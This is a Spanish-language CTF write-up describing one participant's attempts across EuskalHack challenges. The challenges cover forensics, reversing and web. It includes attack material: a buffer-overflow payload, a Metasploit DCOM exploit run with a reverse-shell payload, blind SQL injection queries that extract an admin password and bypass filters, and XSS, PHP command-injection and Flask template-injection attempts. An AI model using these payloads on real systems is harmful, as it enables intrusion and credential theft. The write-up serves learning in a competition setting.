0LEVEL

First flag

Como estaba comprando el pan cuando empezó el ctf, empecé desde el móvil. Tengo bastante costumbre de utilizar el móvil para hacer prácticas de SQLinjection, conectarme por shh, y lo que se tercie, así que pensé que no habría problema.

Miré el código con view-source: y al ser bastante código, sobre todo para leer en un móvil, me centré en el código cercano a la zona donde estaba el submit de la flag. No vi nada y pensé que el tema iba de ingenio.

Así que a meter flags según lo que la fuerza me dictaba.

Fisrt flag

regalo

0level

flag

flag for challenge: First flag

Llegados a este punto he de admitir que me acojoné un poco. A ver si no voy a ser capaz de sacar la flag que se supone que es un regalo. Y con lo de regalo, se me encendió la bombilla, o mejor dicho se apagó.

Como es un regalo, es cuestión de fe pense. Así que aunque falles todas, consigues la flag. Meto todas a boleo y al final aparece la flag. Así que metí la ocurrente flag:

Ten fe

Con intención de meterla hasta gastar los intentos. Y conseguir la flag.

Menos mal que me vino a la cabeza la imagen de la clasificación con danitorwS a la cabeza que había conseguido la flag en 2 minutos y 9 segundos. 10 intentos con 50 segundos de espera, es bastante más que ese tiempo. Así que decidí aplazarlo hasta que tuviese un PC a mano.

Luego me metí con otros retos y lo dejé aparcado.

El último día a media noche creo, para salvar la honra, me puse a mirar el código otra vez desde un PC, y está vez encontré rápidamente la flag.

Estaba en el <head>

<meta name="flag" content="flag{starter_flag_welcome}">

Menos mal. Luego por la mañana vi la pista que habíais puesto y pensé que alguno más habría pasado un mal rato.

flag{starter_flag_welcome}

CRYPTO

Snowden coordinates

Me parecía un reto muy bonito y muy trabajado por vuestra parte, siento que ninguno hayamos podido resolverlo. La verdad es que lo he dejado para el final porque me parecía que me iba a llevar mucho tiempo, y no he podido ni tocarlo.

Hay que revisar los viejos apuntes de algebra y cálculo.

Quantum

Lo mismo que con el de Snowden. Lo siento. Gracias por el trabajo que habéis realizado.

EXPLOITING
----

level1

Aquí al ver el código se veía que había que explotar un buffer overflow. Nunca antes lo había hecho, conocía el concepto, pero no tenía experiencia.

Por lo que veo hay que conseguir alterar el flujo del programa para conseguir ejecutar la función cant_call(), y hacer que la función system ejecute el contenido de la variable shell_str, para abrir una shell con privilegios para leer el fichero con la password.

Busco un poco por internet para ver cómo funciona gdb que no lo conocía.

gdb

Saco la posición de memoria donde se almacena la llamada al a función cant_call()
print &cant_call

cant_call
0x804854d

Lo paso a little endian e intento una primera prueba a ver si puedo alterar el flujo del programa. Esto, un poco entre lo que he leído y lo que saco por analogía, pero sin llegar a entenderlo bien.

./level1 `python -c 'print "A"*112 + "\x4d\x85\x04\x08"'`

Vale, me dice No tan facil ... me saca la fecha y da un error. Para ser la primera vez no está mal.

Por el mismo método vamos a intentar sacar donde se encuentra system y shell_str y los pasamos a little endian.

system
0xf7626e70

"\x70\x6e\x62\xf7"

shell_str
0x804a038

“\x38\xa0\x04\x08”

No he podido hacer más. Ni el tiempo ni el conocimiento me daban para más, pero esto me ha enseñado donde flojeo y por donde tengo que avanzar.

level2

No he tenido la oportunidad, y si iba en la línea del level 1 no iba a poder superarlo.

level3

Lo mismo que el level2.

FORENSIC

DNS codified

Utilizo Wireshark para abrir el fichero theinternet.pcap

Por el nombre, lo primero que hago es filtrar los paquetes de consultas a DNS, simplemente poniendo dns en la barra de filtros.

En la frame 65 veo una consulta un poco llamativa, además la respuesta es que el DNS no existe.

Entiendo que la primera parte del nombre del host es la flag cifrada.

$A5r1AJ6fDGhiAguUAGufHJX1HGkGfJ6eAqCC

Ahora hace falta ver con que algoritmo está cifrada.

Recuerdo que había visto una solicitud HTTP a una dirección que me había llamado la atención.

GET /secure-atom128c-online HTTP/1.1

Reviso la frame 63 y veo que la petición antes mencionada se realiza a al host crypo.bz.ms

Accedo a la URL y veo que se trata de un servicio de cifrado online. Pego la flag cifrada en el cuadro de texto y le doy a desencriptar.

Me devuelve FLAGISHAVENODNSWHATMDOING lo envío tal cual y me dice que no es correcto.

Todavía estoy con la idea de que hay que ser ingenioso, y pienso que la primera parte de la flag (FLAGIS) me está diciendo que la flag es HAVENODNSWHATMDOING lo envío y me vuelve a decir que no es correcto.

Entonces pienso que es momento de volver a leer el enunciado. Y veo que no le había hecho ni caso.

flag{FLAGISHAVENODNSWHATMDOING}

This is SCADA

Lo primero que me llama la atención es un protocolo llamado Modbus. Busco en internet, y veo que se trata de un protocolo utilizado para la comunicación de PLCs.

La mayoría de las comunicaciones del protocolo Modbus se producen entre dos equipos 172.16.136.134 y 172.16.136.133. Deduzco que uno debe ser el PLC y el otro el HMI.

Revisando un poco más veo que hay conexiones SMB a la IP 172.16.136.134 así que deduzco que esta es la IP del HMI.

Pongo las direcciones del PLC, la del HMI y el protocolo.

172.16.136.133_172.16.136.134_Modbus/TCP

Lo encripto con md5

715b2c2f192d1a89e4441ffdefacda6b

Y envío la flag.

flag{715b2c2f192d1a89e4441ffdefacda6b}

ERROR!!!!

Reviso el enunciado y veo que pone:

[*] ¿Cuál es la dirección IP del HMI?
[*] ¿Cuál es la dirección IP del PLC?
[*] ¿Qué protocolo utilizan para comunicarse?

Responder concatenando flag{md5(ip1_ip2_protocolo)}

Vale, lo monto correctamente ahora.

172.16.136.134_172.16.136.133_Modbus/TCP

da9536260f9bb2385ba615f7a7f5d6d3

flag{da9536260f9bb2385ba615f7a7f5d6d3}

This is SCADA II

Sigo revisando el fichero pcap con Wireshark.

En la primera misión de scada había visto cuales eran las IPs del PCL y del HMI. Supongo que el ataque se realizará contra el HMI, así que aplico un filtro para ver las conexiones que tienen el HMI como destino, pero cuyo origen no es el PLC.

ip.dst==172.16.136.134 and ip.src!=172.16.136.133

Me llama la atención la IP 172.16.136.128, así que saco solo las capturas de esta IP.

ip.dst==172.16.136.128 or ip.src==172.16.136.128

Revisando los paquetes, veo un string que me llama la atención "mimikatz.exe", reviso el stream TCP, y veo como se ejecutan comandos en el sistema.

Investigo acerca de mimikatz, y veo en internet como se utiliza el programa.

http://www.securitybydefault.com/2012/07/volcado-de-contrasenas-con-mimikatz.html

Por lo que indica la página debería enviar al atacante la password en texto plano. Confirmado que el atacante es 172.16.136.128.

Sigo revisando el stream y encuentro los datos del usuario admin del domino HMI. Aparece la password y también los hashes de LM, NTLM y SHA1

Para asegurarme desencripto los hashes de LM y NTLM en https://md5hashing.net/ y cuadran con el pass en texto plano, que es password

flag{md5(172.16.136.128_mimikatz_password)}

flag{d34dfdaaf10ff8951870a0d3ec06996a}

ERROR!!!

Vale, me he precipitado. Investigo un poco más acerca de mimikatz y veo que es más bien una herramienta post exploit.

Recuerdo las conexiones SMB que había visto en el reto This is SCADA, las reviso con detalle, y veo que son de la IP del atacante. Por cierto, por los repositorios veo que el atacante utiliza Kali Linux 1.x Tío ya te vale actualizar en la red del objetivo. Hay que tener más cuidado XD

Busco en internet "smb exploit \BROWSER" (Busco BROWSER porque es uno de los recursos a los que intenta acceder el atacante), y encuentro la página:

http://en.redinskala.com/take-remote-control-over-a-windows-xp-2003-machine-with-metasploit/

Vale, ya veo cual es el exploit. ms08_067_netapi

Pues bien, lo monto todo.

172.16.136.128_ms08_067_netapi_password

Lo encripto y lo envío en el formato solicitado.

flag{5893af892f53ecb489959650eb654f11}

ERROR!!!

Además imperdonable. El nombre del exploit, no es el que le da Metasploit, es el que se le da en el CVE, que en este caso ha utilizado el que se le dio en el boletín de seguridad de Microsoft.

172.16.136.128_MS08-067_password

flag{ff025e5a8f1d68cbe30c0a12fdb1565e}

Don't stop me now

Este no he conseguido, pero he probado casi de todo.

Lo primero todo bruto, apagar la máquina, arrancar con ERD comander y cambiarle la password. Luego inicié sesión, y encontré un fichero truecrypt de 50MB, que luego pensé que estaría montado en la sesión que estaba arrancada por el usuario alpacino. Luego con la pista que pusisteis me lo corroborasteis.

Aquí aproveche para coger el hash de los usuarios administrador y alpacino, que era el mismo. 75a1090745db3e363b1ee4bb0cbc6b0b

Y lo puse a crackear en la nube. Ya sé que no es lo más limpio, pero como último recurso podía valer.

También probé con Ophcrack y rainbow tables, pero me bajo corruptas las tables, y decidí probar con otra cosa.

Así que había que ganar el acceso sin cerrar la sesión.

Restauré el snapshot, y antes de iniciar la máquina monté el VDI, para ver si podía sobrescribir el fichero sethc.exe con el cmd.exe y luego iniciar la máquina y ejecutar el cmd.exe renombrado a sethc.exe dejando pulsado shift. Luego con net user alpacino new_password cambiar la contraseña e iniciar sesión, pero según que herramienta no me montaba la página, y con otro me lo montaba en un sistema de ficheros que no me reconocía.

Cuando vi el exploit que se había utilizado en el reto de This is SCADA II, se me ocurrió que podría valer.

nmap -T4 -v -A -p1-65535

```
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows 98 netbios-ssn
3389/tcp open  ms-wbt-server Microsoft Terminal Service
Service Info: OSs: Windows, Windows 98; CPE: cpe:/o:microsoft:windows,
cpe:/o:microsoft:windows_98
```

Bueno, no había puerto 445 abierto, pero la idea de buscar un exploit que pudiera darme una shell para cambiar la pass del usuario y luego iniciar sesión me parecía factible.

Encontré una vulnerabilidad CVE-2003-0352 MS03-026 Microsoft RPC DCOM Interface Overflow, que podía servirme.

La intente explotar con metasploit:

```
#msfconsole
msf > search dcom
msf > use exploit/windows/dcerpc/ms03_026_dcom
set RHOST 192.168.x.x (Objetivo)
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.x.x
msf exploit(ms03_026_dcom) > exploit
```

Envió el exploit, pero no me creo ninguna sesión. Revisando bien pone que solo es válido para SP1, y por en nombre del host de la máquina virtual, que ahora no me acuerdo se ve que es SP3.

Probé versiones del exploit en C y en Python que había encontrado por internet.

Intenté explotar el MS08-067 en el puerto 139, que en alguna página ponía que se podía hacer con Metasploit, pero tampoco me llegó a crear sesión.

Conseguí con un exploit en Python explotar un DOS, que causó un error en el equipo y lo reinició, pero no puede llegar más allá, y como se acababa el tiempo, decidí dejarlo y probar con lo que me faltaba de WEB.

HELP

Encuesta

Rellenar la encuesta, sobre todo para daros las gracias, y aprovecho para volver a hacerlo, he dormido en los últimos 3 días menos que lo que duermo normalmente en uno, pero ha estado genial.

MISC

Music decode

Lo primero que hago es reproducirlo, y me quedo enamorado. Es una mezcla entre R2-D2 y las ondas gravitacionales. Me lo he puesto en el móvil.

Después reviso las propiedades del fichero por si acaso, aunque realmente tenía la esperanza de no encontrar nada porque tenía en mente algo más interesante. Los campos aparecen vacíos, BIEN!!!

Lo que tenía en mente es esteganografía, así que vamos a mirar en el espectrograma.

Abro el fichero con spek, y lo que veo me recuerda una canción de los Mojinos: El tío que invento el sistema morse vaya si era un canalla si no estaba con el punto y estaba con la raya.

.. --.. .- .-.   .... ..- .-. .-   --.. ..- .-. .
-... . --. .. . - .- -.   .--. .. --.. - ..-   -.. .-

Cojo una tabla con el alfabeto morse, un lápiz y un folio vacío, dispuesto a realizar la traducción manualmente, pero se me pasan las ganas, y entro en la siguiente página para que lo traduzca por mí:

http://morsecode.scphillips.com/translator.html

Esto es lo que me devuelve: IZARHURAZUREBEGIETANPIZTUDA

Muy bonito, pero ni idea de quién es. Así que busco en internet y veo que es la canción

Itsasoa Gara de Ken Zazpi.

flag{kenzazpi,itsasoagara}

REVERSING
---
mov and reg!

Bueno, como recordaba algo vagamente de la asignatura de tecnología de computadores, inocente de mí, intenté hacerlo a mano, pero para rematar era sintaxis AT&T así que pasé al plan B.

Un emulador online de 8086, que me devolvió el valor 1337 que pasado a decimal es 4919

flag{4919}

ERROR!!!!! Madre mía que vergüenza. No sé ni porque envié esta flag.

Así que al plan C.

Lo compile:

gcc -c programa.s && ld programa.o && ./programa.out

Luego con edb lance un debug y el registro rdx que es el equivalente al edx termina con el valor 00000000c0795437 que pasado a decimal es :

3229176887

flag{3229176887}

L33tcense

Con este me he pegado la de dios y no lo he conseguido. Seguro que estaba cerca, pero nada. También me he dado cuenta que en esto estoy flojo, así que me indica el camino.

Lo primero ejecutar el programa para ver cómo se comporta. Me faltan unas dlls, así que las busco por internet.

https://www.dll-files.com/msvcp120d.dll.html
https://www.dll-files.com/msvcr120d.dll.html

Primero bajo la versión de 64 bits y me da error.
Luego bajo la de 32 y funciona.

Vale ahora pruebo con OllyDbg y con IDA pro free.

Abro el ejecutable y empiezo a buscar los strings. Encuentro "Enhorabuena , licencia valida." Y pienso que es un buen punto de partida. Enseguida veo "test eax,eax" y la instrucción jnz que altera el flujo del programa según la comprobación anterior, si son iguales va a el mensaje de error de licencia, y si no va al Enhorabuena.

A partir de aquí he intentado buscar un string que comparase con el texto que introducía yo por pantalla, pero no ha habido manera. No sé si es que no he sabido manejar los programas, que la verdad es que desconocía, o resulta que el tema era más complicado de lo que parecía porque comparaba alguno de los strings habiéndole realizado alguna operación como un XOR o

algo así.

Ya a la desesperada he probado todos los strings que veía en el código, pero el programa no me ha aceptado como correcto ninguno.

Así que lo he tenido que dejar en este punto, pero con el compromiso personal de seguir probando hasta que lo consiga. Eso sí primero tengo que dormir un poquito :)

TRIVIA

Trivia 1

Busque en internet y encontré esta documentación. Había otras páginas que ponían instrucciones algo o totalmente diferentes, pero la documentación de Oracle me pareció la más fiable.

https://docs.oracle.com/cd/E19082-01/819-1634/gcbjy/index.html

La instrucción es la siguiente:

svcadm disable svc:/network/http:apache2

flag{cb1134338a1ff9df5ae341253e1a1610}

Trivia 2

Busco en internet y encuentro otra vez documentación de Oracle.

https://docs.oracle.com/cd/E37929_01/html/E36580/zonesoverview.html

Pues lo pone bien claro 8192.

De este no guardé la flag, lo he tenido que encriptar ahora otra vez, espero que coincida :)

flag{774412967f19ea61d448977ad9749078}

WEB

Users finder I

Bueno, lo primero que me viene a la cabeza es SQLInjection.

Me imagino que la consulta será algo así:

select * from usuarios where username="{$username}";

Así que meto en el username del formulario ' or '1'='1 y me devuelve "No user on DB."
Vale pruebo con " or "1"="1 y hora me devuelve "This user exists."
Anda que casualidad, los de EuskalHack son unos cachondos y han creado un usuario con ese nombre tan friki. Que no!!! Que eso significa que SQLInjection tiene buena pinta, pero vamos a terminar de confirmarlo. Le meto " or y me da error.

Vale ya tengo 3 estados con los que trabajar, el usuario existe si la sentencia es true, no existe si la sentencia es false, y si el código no es correcto me da error.

Intento hacer un UNION para ver cuantos campos consulta la query.

Si da error es que no coincide con el número de campos. Encuentro que devuelve 2 campos.

select * from usuarios where username="{admin" UNION SELECT "1","2}";

Para anular la primera parte de la consulta y que mande la segunda le meto un and 1=2 para que esa parte sea false (Hay que repasar las tablas de verdad) y solo devuelva el registro de la query que a mí me interesa.
Voy componiendo la sql, ahora para devolver el password. Que se me podía haber ocurrido que si la query devolvía ya 2 campos igual uno era el pasword, pero era muy, muy tarde, o muy, muy temprano, y esto es lo que se me ocurrió:

select * from usuarios where username="{admin" and 1=2 UNION SELECT user,password from users where user="admin}";

Vale, ahora jugando con el true y el false que devuelve la consulta, intento comparando uno a uno los caracteres de la password extraerla de la base de datos,

select * from usuarios where username="{admin" and 1=2 UNION SELECT user,password from users where substring(password,1,1)="0" and user="admin}";

Pensé en crear un script en Python, pero no me apetecía, así que utilice el >= para hacer búsquedas dicotómicas, y reducir el tiempo de hacerlo a mano.

Cuando iba por el dígito 10 o así, me pregunte cual sería la longitud de la password, y la obtuve con esta query.

select * from usuarios where username="{admin" and 1=2 UNION SELECT user,password from users where length(password)<=22 and user="admin}";

Vale, a poquitos la voy sacando y la mando.

flag{xcyv7i0fnoyyoghc}

ERROR!!!

flag{XCYV7I0FNOYYOGHC}

ERROR!!! Como jode cuando te dice Nop!!! en rojo vena somorrostro, como el puente colgante.

FLAG{XCYV7I0FNOYYOGHC}

ERROR!!!

XCYV7I0FNOYYOGHC

ERROR!!!!!!!!

Vale, va a ser que el substr no es case sensitive.

Para volverlo case sensitive compara con binary.

select * from usuarios where username="{admin" and 1=2 UNION SELECT user,password from users where substring(password,1,1)=binary"f" and user="admin}";

flag{XCYv7i0fNOYyogHc}

Users finder II

Vale pruebo otra vez SQLInjection, pero esta vez me dice que está filtrado.
Ahora juego con 4 estados, error si la consulta está mal, el usuario existe si es true, no existe si es false, y pone que esta filtrado si utilizo código no permitido.

Veo que los espacios en blanco, and, or y union que utilizaba en el reto User finder I están filtrados.

Bueno, para los espacios en blanco utilizo el () para separar los valores. Para el AND utilizo && y OR no lo utilizo pero podría haber utilizado ||, el union prescindo de él. Y compongo la siguiente consulta:

```
select * from usuarios where username="{1"&&("1")="2};
```

Ahora es más tarde que cuando estaba con el reto User finder I, pero como no puedo usar UNION, pienso que uno de los campo que devuelve la consulta puede ser la password.
Y para sacar la longitud compongo la siguiente consulta.

```
select * from usuarios where username="{admin"&&length(password)="21};
```

Intento la misma estrategia que en el User finder I, comparando los caracteres de la password uno a uno, pero veo que substr también está filtrado.

```
select * from usuarios where username="{admin"&&substr(password,1,1)=binary"f};
```

Para substituirlo utilizo mid()

```
select * from usuarios where username="{admin"&&mid(password,1,1)=binary"f};
```

Poquito a poquito, consigo la flag.

flag{31337trolol33t!}

MitmByP

Esta no lo he conseguido, pero os envío hasta donde he llegado.

Conozco que es un ataque man in the middle, pero al acceder a la página solo veía :

I have lost my code :(where is my coooode :(

Yo también quiero saber donde está el código.

Encuentro un flag.php, pero que devuelve solo la página en blanco. Me vuelvo loco pero no consigo nada de esta página.

Busco en internet, y encuentro un writeup de un CTF donde pone algo parecido. Así que intento montar el man in the middle, y luego ya veré que puedo hacer paraconectar el php del server con el servicio en mi quipo.

Lo intento montar de la siguiente manera socat -v TCP-LISTEN:3306 TCP:146.185.172.148:33006

Esto debería escuchar conexiones en el puerto 3306 de mi equipo, que es al puerto donde supongo que intentará conectar el servidor web no sé muy bien cómo.

También lo hago utilizando un código PHP que encuentro por internet.

Al final pienso que puede que el programa que ejecuta la llamada a mi equipo sea el que muestra el mensaje de lost code, y no flag.php, así que pruebo a ver si es index.php, y efectivamente se llama así. Luego deduzco que necesitará un nombre de host y pruebo de la siguiente manera.

Ejecuto el código php en local:

```
# php mitm.php
```

Y pruebo a ponerle mi dirección. Antes abro los puertos en el router.

http://146.185.172.148:49000/index.php?host=xxx.xxx.xxx.xxx

Obtengo este galimatías. Veo que pone algo de ctf, y mando la flag

```
S->C: [
5.5.49-0ubuntu0.14.04.1 >2|?cT]Tÿ ? lESR#RXAzfmtmysql_native_password

S<-C: O ¢ctf / 7ôºéÖø[?&uk,?³_Äámysql_native_password

S->C:
S<-C:


flag{ctf / 7ôºéÖø[?&uk,?³_Äá}

ERROR!!!
```

Pruebo otra vez y encima el texto que aparece es diferente cada vez.

```
# php mitm.php


S->C: [
5.5.49-0ubuntu0.14.04.1 EO<|".a|? ? n3P{;Qg3e'.Rmysql_native_password

S<-C: O ?ctf ??? ? ??g?r?6???mysql_native_password

S->C:

S<-C:
```

Pruebo con socat y nc, pero nada.

A penas quedan unos segundos, y se acaba el reto. A levantar las manos, como en Masterchef.

Por cierto, y muy importante, cerrar el puerto en el router.

```
404 - Not Found
---------------
```

Este no lo había mirado nada casi hasta el final.

Me di cuenta rápidamente que en la página que devolvía ponía el nombre del fichero que solicitabas, así que pensé en que se podía inyectar código.

Lo primero que pensé fue server side includes. <!--#exec cmd="ls" -->
Pero no funcionó. Lo que si me di cuenta que a partir de la # no lo volcaba al html, así que parecía que se podía realmente inyectar código.

Probé con javascript y me funcionó una alerta. Pero evidentemente javascript no me sirve para mostrar un fichero del server.

<script>alert("Test.")</script> (No sé si era este el código exactamente, pero algo parecido)

Luego lo intenté con PHP

<?php echo shell_exec('cat '.$_GET['flag.txt']);?>

Pero no conseguí nada.

Luego leí la pista que nos disteis y busque sobre inyección en flask. No hay mucho, pero encontré esta página:

https://nvisium.com/blog/2015/12/07/injecting-flask/

Intenté insertar este código de todas las formas que se me ocurrió:

http://146.185.172.148:48000/{{get_user_file("./flag.txt")}}

Pero todo el rato me daba Error en el servidor 500.

Como me quedaba solo una hora decidí morir intentando el man in the middle.